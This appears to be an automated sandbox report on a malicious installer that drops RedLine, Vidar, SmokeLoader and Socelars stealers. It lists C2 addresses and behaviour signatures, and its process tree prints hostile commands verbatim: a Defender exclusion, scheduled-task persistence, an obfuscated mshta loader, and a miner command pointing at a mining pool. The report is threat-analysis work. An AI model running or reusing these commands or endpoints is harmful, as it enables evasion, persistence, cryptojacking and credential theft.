Overview

overview

10

Static

static

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows7_x64

10

setup_x86_...ll.exe

windows11_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

setup_x86_...ll.exe

windows10_x64

10

Resubmissions

12-09-2021 18:05

210912-wpjm6afecr 10

12-09-2021 07:11

210912-h1abzacbb7 10

Analysis

  • max time kernel
    1809s
  • max time network
    1800s
  • platform
    windows10_x64
  • resource
    win10-jp
  • submitted
    12-09-2021 07:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_x86_x64_install.exe

  • Size

    3.5MB

  • MD5

    1b5154bc65145adba0a58e964265d5f2

  • SHA1

    5a96fd55be61222b3e6438712979dc2a18a50b8c

  • SHA256

    c48cd55efee57f0b7ff4547a0a20ebfbdf4188d059512b10a29879bf30c4fc19

  • SHA512

    9465da97b0986fef660e3f7725b4d4c034bef677acbe36382d95a8052c54634f004162aa3f105156e503af1b26632e47e44234ef9825b388260a6bcd310a5026

Score
10/10
redlinesmokeloadersocelarsvidar706pab123aspackv2backdoordiscoveryevasioninfostealerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

redline

Botnet

pab123

C2

45.14.49.169:22411

Extracted

Family

vidar

Version

40.5

Botnet

706

C2

https://gheorghip.tumblr.com/

Attributes
  • profile_id

    706

Extracted

Family

smokeloader

Version

2020

C2

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/
rc4.i32
rc4.i32

Signatures

  • Modifies system executable filetype association 2 TTPs 3 IoCs
    persistence
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • Registers COM server for autorun 1 TTPs
    persistence
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Vidar Stealer 2 IoCs
    stealer
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Blocklisted process makes network request 53 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 58 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 55 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 12 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 16 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 47 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 15 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Kills process with taskkill 4 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 6 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 19 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
    evasionspywaretrojan
  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 22 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 14 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    PID:2172
    • C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
      "C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5064
        • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\setup_install.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:3552
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3904
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4052
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sun05ac1b0207d3ff3b8.exe
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3604
            • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05ac1b0207d3ff3b8.exe
              Sun05ac1b0207d3ff3b8.exe
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Checks processor information in registry
              • Modifies system certificate store
              PID:3196
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c taskkill /im Sun05ac1b0207d3ff3b8.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05ac1b0207d3ff3b8.exe" & del C:\ProgramData\*.dll & exit
                7⤵
                  PID:5680
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /im Sun05ac1b0207d3ff3b8.exe /f
                    8⤵
                    • Kills process with taskkill
                    PID:4284
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /t 6
                    8⤵
                    • Delays execution with timeout.exe
                    PID:6756
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Sun052bbd8bebd9.exe
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4196
              • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun052bbd8bebd9.exe
                Sun052bbd8bebd9.exe
                6⤵
                • Executes dropped EXE
                PID:3880
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Sun05640630a6aa.exe
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4236
              • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05640630a6aa.exe
                Sun05640630a6aa.exe
                6⤵
                • Executes dropped EXE
                PID:3464
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c Sun059375dac544fc4a.exe
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4240
              • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun059375dac544fc4a.exe
                Sun059375dac544fc4a.exe
                6⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3996
                • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:4072
                  • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                    8⤵
                    • Executes dropped EXE
                    PID:3388
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                      9⤵
                        PID:5892
                        • C:\Windows\system32\schtasks.exe
                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                          10⤵
                          • Creates scheduled task(s)
                          PID:4296
                      • C:\Users\Admin\AppData\Roaming\services64.exe
                        "C:\Users\Admin\AppData\Roaming\services64.exe"
                        9⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        PID:5664
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                          10⤵
                            PID:5776
                            • C:\Windows\system32\schtasks.exe
                              schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                              11⤵
                              • Creates scheduled task(s)
                              PID:6656
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                            10⤵
                            • Executes dropped EXE
                            PID:8152
                          • C:\Windows\explorer.exe
                            C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                            10⤵
                              PID:7624
                        • C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
                          "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
                          8⤵
                            PID:3260
                            • C:\ProgramData\8503436.exe
                              "C:\ProgramData\8503436.exe"
                              9⤵
                              • Executes dropped EXE
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3576
                            • C:\ProgramData\4999760.exe
                              "C:\ProgramData\4999760.exe"
                              9⤵
                              • Executes dropped EXE
                              PID:4492
                            • C:\ProgramData\3854547.exe
                              "C:\ProgramData\3854547.exe"
                              9⤵
                              • Executes dropped EXE
                              • Suspicious use of SetThreadContext
                              PID:5164
                              • C:\ProgramData\3854547.exe
                                "C:\ProgramData\3854547.exe"
                                10⤵
                                • Executes dropped EXE
                                PID:5904
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 948
                                10⤵
                                • Program crash
                                PID:3884
                            • C:\ProgramData\914112.exe
                              "C:\ProgramData\914112.exe"
                              9⤵
                              • Executes dropped EXE
                              PID:5644
                            • C:\ProgramData\1253810.exe
                              "C:\ProgramData\1253810.exe"
                              9⤵
                              • Executes dropped EXE
                              PID:5548
                              • C:\Windows\SysWOW64\mshta.exe
                                "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\ProgramData\1253810.exe"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If """"== """" for %l In ( ""C:\ProgramData\1253810.exe"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                10⤵
                                • Checks whether UAC is enabled
                                PID:6120
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\ProgramData\1253810.exe" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""== "" for %l In ( "C:\ProgramData\1253810.exe") do taskkill -Im "%~nxl" /F
                                  11⤵
                                    PID:5284
                                    • C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE
                                      C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9
                                      12⤵
                                      • Executes dropped EXE
                                      • Checks whether UAC is enabled
                                      PID:5608
                                      • C:\Windows\SysWOW64\mshta.exe
                                        "C:\Windows\System32\mshta.exe" vBSCrIPt: close ( crEateobJeCt ("wsCRIpT.sHEll" ). RUN ( "C:\Windows\system32\cmd.exe /q /C cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If ""-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 ""== """" for %l In ( ""C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE"") do taskkill -Im ""%~nxl"" /F " , 0 , TRuE) )
                                        13⤵
                                        • Checks whether UAC is enabled
                                        PID:1136
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /q /C cOPy /Y "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE" C3KHKEn~m73GVLA.exE && StArT C3KHKEN~m73GVlA.exE -P48RT5mWbqdvVNE0ZvDVppXXBhLw9 & If "-P48RT5mWbqdvVNE0ZvDVppXXBhLw9 "== "" for %l In ( "C:\Users\Admin\AppData\Local\Temp\C3KHKEn~m73GVLA.exE") do taskkill -Im "%~nxl" /F
                                          14⤵
                                            PID:6076
                                        • C:\Windows\SysWOW64\rundll32.exe
                                          "C:\Windows\System32\rundll32.exe" .\zyYHQ.U,xGNjygcjY
                                          13⤵
                                            PID:3800
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill -Im "1253810.exe" /F
                                          12⤵
                                          • Kills process with taskkill
                                          PID:5080
                                • C:\Users\Admin\AppData\Local\Temp\2.exe
                                  "C:\Users\Admin\AppData\Local\Temp\2.exe"
                                  8⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4480
                                  • C:\Windows\system32\WerFault.exe
                                    C:\Windows\system32\WerFault.exe -u -p 4480 -s 1536
                                    9⤵
                                    • Program crash
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3960
                                • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                  8⤵
                                    PID:4116
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 808
                                      9⤵
                                      • Program crash
                                      PID:5016
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 840
                                      9⤵
                                      • Program crash
                                      PID:5720
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 896
                                      9⤵
                                      • Program crash
                                      PID:5376
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 884
                                      9⤵
                                      • Program crash
                                      PID:5920
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4116 -s 896
                                      9⤵
                                      • Program crash
                                      PID:5720
                                  • C:\Users\Admin\AppData\Local\Temp\udptest.exe
                                    "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
                                    8⤵
                                    • Executes dropped EXE
                                    PID:1368
                                  • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                    "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                    8⤵
                                    • Executes dropped EXE
                                    PID:1816
                                    • C:\Users\Admin\AppData\Local\Temp\is-UPDND.tmp\setup_2.tmp
                                      "C:\Users\Admin\AppData\Local\Temp\is-UPDND.tmp\setup_2.tmp" /SL5="$10286,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                      9⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:5352
                                      • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                        10⤵
                                        • Executes dropped EXE
                                        PID:5848
                                        • C:\Users\Admin\AppData\Local\Temp\is-QUJV2.tmp\setup_2.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-QUJV2.tmp\setup_2.tmp" /SL5="$3028E,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                          11⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Checks whether UAC is enabled
                                          • Drops file in Program Files directory
                                          • Suspicious use of FindShellTrayWindow
                                          PID:6100
                                  • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                    "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                    8⤵
                                    • Executes dropped EXE
                                    PID:4924
                                    • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                      "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                      9⤵
                                        PID:5660
                                    • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                      "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                      8⤵
                                      • Executes dropped EXE
                                      PID:2936
                                    • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                      "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                      8⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5040
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c Sun05d60bc3b96248e5.exe
                                5⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4212
                                • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05d60bc3b96248e5.exe
                                  Sun05d60bc3b96248e5.exe
                                  6⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4504
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c taskkill /f /im chrome.exe
                                    7⤵
                                      PID:5152
                                      • C:\Windows\SysWOW64\taskkill.exe
                                        taskkill /f /im chrome.exe
                                        8⤵
                                        • Kills process with taskkill
                                        PID:4304
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun05532f7abc.exe
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:688
                                  • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05532f7abc.exe
                                    Sun05532f7abc.exe
                                    6⤵
                                    • Executes dropped EXE
                                    • Checks SCSI registry key(s)
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious behavior: MapViewOfSection
                                    PID:4128
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun050462125c7d35.exe
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3068
                                  • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun050462125c7d35.exe
                                    Sun050462125c7d35.exe
                                    6⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4512
                                    • C:\ProgramData\1388002.exe
                                      "C:\ProgramData\1388002.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2676
                                      • C:\Windows\system32\WerFault.exe
                                        C:\Windows\system32\WerFault.exe -u -p 2676 -s 1944
                                        8⤵
                                        • Program crash
                                        PID:5504
                                    • C:\ProgramData\5202686.exe
                                      "C:\ProgramData\5202686.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      PID:2884
                                      • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                        8⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: SetClipboardViewer
                                        PID:5332
                                    • C:\ProgramData\3135802.exe
                                      "C:\ProgramData\3135802.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Checks BIOS information in registry
                                      • Checks whether UAC is enabled
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      PID:2880
                                    • C:\ProgramData\3727734.exe
                                      "C:\ProgramData\3727734.exe"
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:748
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun05fa3b4d2ae56e.exe /mixone
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4448
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Sun054fe19a12cb3.exe
                                  5⤵
                                    PID:3448
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Sun05899db881f67fb29.exe
                                    5⤵
                                      PID:2848
                              • C:\Users\Admin\AppData\Local\Temp\B95E.exe
                                C:\Users\Admin\AppData\Local\Temp\B95E.exe
                                2⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Checks whether UAC is enabled
                                PID:3800
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B95E.exe"
                                  3⤵
                                    PID:7688
                                    • C:\Windows\SysWOW64\timeout.exe
                                      timeout /T 10 /NOBREAK
                                      4⤵
                                      • Delays execution with timeout.exe
                                      PID:6332
                                • C:\Users\Admin\AppData\Local\Temp\16A2.exe
                                  C:\Users\Admin\AppData\Local\Temp\16A2.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Checks BIOS information in registry
                                  • Checks whether UAC is enabled
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  PID:7248
                                • C:\Users\Admin\AppData\Local\Temp\3518.exe
                                  C:\Users\Admin\AppData\Local\Temp\3518.exe
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5200
                              • c:\windows\system32\svchost.exe
                                c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                1⤵
                                  PID:2696
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                  1⤵
                                    PID:2680
                                    • C:\Windows\system32\wbem\WMIADAP.EXE
                                      wmiadap.exe /F /T /R
                                      2⤵
                                        PID:4076
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                      1⤵
                                      • Suspicious use of SetThreadContext
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2572
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k SystemNetworkService
                                        2⤵
                                        • Drops file in System32 directory
                                        • Checks processor information in registry
                                        • Modifies data under HKEY_USERS
                                        PID:5528
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                      1⤵
                                        PID:2372
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                        1⤵
                                          PID:2360
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                          1⤵
                                            PID:1928
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                            1⤵
                                              PID:1400
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                              1⤵
                                                PID:1380
                                              • c:\windows\system32\svchost.exe
                                                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                1⤵
                                                  PID:1176
                                                • c:\windows\system32\svchost.exe
                                                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                  1⤵
                                                    PID:1108
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                    1⤵
                                                    • Drops file in System32 directory
                                                    PID:1048
                                                    • C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Checks SCSI registry key(s)
                                                      • Suspicious behavior: MapViewOfSection
                                                      PID:7752
                                                    • C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Checks SCSI registry key(s)
                                                      • Suspicious behavior: MapViewOfSection
                                                      PID:3184
                                                    • C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      C:\Users\Admin\AppData\Roaming\gjfrsvf
                                                      2⤵
                                                      • Executes dropped EXE
                                                      • Checks SCSI registry key(s)
                                                      • Suspicious behavior: MapViewOfSection
                                                      PID:2616
                                                  • c:\windows\system32\svchost.exe
                                                    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                    1⤵
                                                      PID:340
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun05899db881f67fb29.exe
                                                      Sun05899db881f67fb29.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:4488
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun054fe19a12cb3.exe
                                                      Sun054fe19a12cb3.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:4732
                                                      • C:\Users\Admin\AppData\Local\Temp\is-GFO9B.tmp\Sun054fe19a12cb3.tmp
                                                        "C:\Users\Admin\AppData\Local\Temp\is-GFO9B.tmp\Sun054fe19a12cb3.tmp" /SL5="$6006C,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8C3D4E34\Sun054fe19a12cb3.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        • Checks whether UAC is enabled
                                                        PID:1068
                                                        • C:\Users\Admin\AppData\Local\Temp\is-0TETN.tmp\46807GHF____.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\is-0TETN.tmp\46807GHF____.exe" /S /UID=burnerch2
                                                          3⤵
                                                            PID:2440
                                                            • C:\Program Files\Windows Portable Devices\FQEJJUBFTE\ultramediaburner.exe
                                                              "C:\Program Files\Windows Portable Devices\FQEJJUBFTE\ultramediaburner.exe" /VERYSILENT
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:552
                                                              • C:\Users\Admin\AppData\Local\Temp\is-757L7.tmp\ultramediaburner.tmp
                                                                "C:\Users\Admin\AppData\Local\Temp\is-757L7.tmp\ultramediaburner.tmp" /SL5="$20314,281924,62464,C:\Program Files\Windows Portable Devices\FQEJJUBFTE\ultramediaburner.exe" /VERYSILENT
                                                                5⤵
                                                                • Executes dropped EXE
                                                                • Checks whether UAC is enabled
                                                                • Drops file in Program Files directory
                                                                • Suspicious use of FindShellTrayWindow
                                                                PID:5460
                                                                • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                  "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                  6⤵
